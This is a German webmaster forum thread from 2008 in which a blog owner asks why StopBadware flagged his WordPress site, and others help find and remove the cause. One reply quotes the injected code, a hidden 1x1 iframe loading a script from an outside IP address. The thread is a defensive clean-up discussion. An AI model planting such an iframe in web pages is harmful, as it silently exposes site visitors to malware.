Seite grundlos bei StopBadware

Beitrag von **newcomer** » 16.04.2008, 07:37

Hallo,

Ich war völlig baff, als ich auf einmal die Warnung bekam, dass
man sich auf meiner Seite was einfangen kann..
ICh kann mir nicht erklären woran das liegen könnte.
Ist nur ein Weblog, Antispam ist aktiviert.
Könnte da vielleicht mal jemand rüberschauen?

www.promi-pannen.de

mFG

und danke für die Hilfe

von **Anzeige von ABAKUS** »

Beitrag von **Pompom** » 16.04.2008, 07:47

Guck mal auf deine Seite, schau dir den Quelltext an nach diesem Code:

 <iframe src=https://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> 

das ist er, der böse Übeltöter.

Beitrag von **newcomer** » 16.04.2008, 07:54

Warum hab ich das nicht selber entdeckt?
Dank dir!
Was is das für ein Schmarrn?

Oh man ich hab grad n ganz dummes Gefühl in der Magengegend.
Ich habe, weil ich auf Arbeit keinen FTP Zugang habe über webftp.de auf
meinen Webspace zugegriffen. Ob da vielleicht der Überltäter herkommt?

Beitrag von **seo-link** » 16.04.2008, 08:09

Jo ... bei mir schlagt Norton auch an.
Bild

Überprüfe mal dein Emailpostfach und vorallem jag mal Spyware-Doctor über deinen PC. Den bekommst Du kostenlos im Google-Pack.

Bin mir ziemlich sicher, dass etwas gefunden wird

Beitrag von **newcomer** » 16.04.2008, 08:12

F...
ist das auch der IFrame oder was?

Beitrag von **Pompom** » 16.04.2008, 08:13

Ich habe, weil ich auf Arbeit keinen FTP Zugang habe über webftp.de auf
meinen Webspace zugegriffen. Ob da vielleicht der Überltäter herkommt?

Das wäre schon ganz schön dreist, kann ich mir eigentlich nicht vorstellen.
Ich habe mir deine Seite nicht angeguckt, aber wahrscheinlicher ist es, dass du unsichere Software einsetzt.

Beitrag von **newcomer** » 16.04.2008, 08:16

Da läuft nur Wordpress drauf.
Naja dann werde ich da mal ordentlich aufräumen und denn
denn Antrag überdie Webmastertools einreichen.
Hoffe das dauert nicht solange

Ich fass es nicht, dass Teil hat sich in einem Beitrag eingeschlichen.
K.A. wie. HAbs jetzt gelöscht

Hoffe, dass nicht noch mehr davon irgendwo im Code rumschwirrt
Hab n Dump der DB gemacht und alle Stellen wo sich irgendwo n IFrame eingeschlichen hat ausfindig gemacht und bereinigt.
Wenn mal jemand so nett wär zu überprüfen obs immer noch ne AntiVirus Warnung gibt. Danke

Beitrag von **Pompom** » 16.04.2008, 08:58

Ach, Wordpress...

Da gibt es viel zu lesen.

https://www.google.de/search?num=100&hl ... ress&meta=

Beitrag von **newcomer** » 16.04.2008, 09:01

Hab auch grad schon ne Menge drüber gelesen.
Joomla User haben das gleiche Problem.
Gut na mal hoffen das Google schnell reagiert, sonst ist mein TRaffic
weg. Werd dann mal schnell n Update rüberlaufen lassen

Beitrag von **seo-link** » 16.04.2008, 09:09

Jo ... hatte damals das selbe Problem!
Muß aber nicht unbedingt an Wordpress liegen.

Ich habe nach dem Check mit Spywaredoc ein Haufen Zeug gefunden.
Seit ich meinen PC neu aufgesetzt habe und Norton Internet Security verwende, habe ich keine Probleme mehr. Egal ob Joomla, Wordpress oder ähnliche befallenen Scripte, Norton bemerkt diese DL´s. (siehe Bild)

Rein theoretisch hat jetzt jeder Besucher von Dir dieses Problem!!!
Wenn der DL nicht blockiert / erkannt wurde, sind die PC´s jetzt infiziert und sollten sofort gecheckt werden.

Ok ... Sicherheitslücken gibt es anscheind in jedem Script. Meistens sind die index.php (index.html) oder footer.php (footer.tpl) verseucht.

Beitrag von **newcomer** » 17.04.2008, 17:41

So also ich muss sagen es ging Gott sei Dank fix mit Google.
Innerhalb von 24 Stunden ist die Warnung nun wieder verschwunden.

Beitrag von **Nutzer0815** » 17.04.2008, 18:23

Beitrag von **newcomer** » 21.04.2008, 07:20

Ich habe direkt an StopBAdware geschrieben und über WebmasterTools von Google.

Beitrag von **seo-link** » 21.04.2008, 07:27

Geht eigentlich schnell ... man sollte, wie Du auch, sofort reagieren und Email senden.

Beitrag von **newcomer** » 22.04.2008, 08:28

Jup... Jetzt hab ich mir noch rasch ne Seite gebastelt, wo ich alle meine Projekte im Überblick habe und wo solche Sachen überprüft werden. Die lasse ich mit nem Cronjob einmal am Tag aufrufen und wenn was Verdächtiges sein Unwesen treibt erhalte ich gleich ne Email.
Denke damit sollte ich das Problem in Zukunft im Griff haben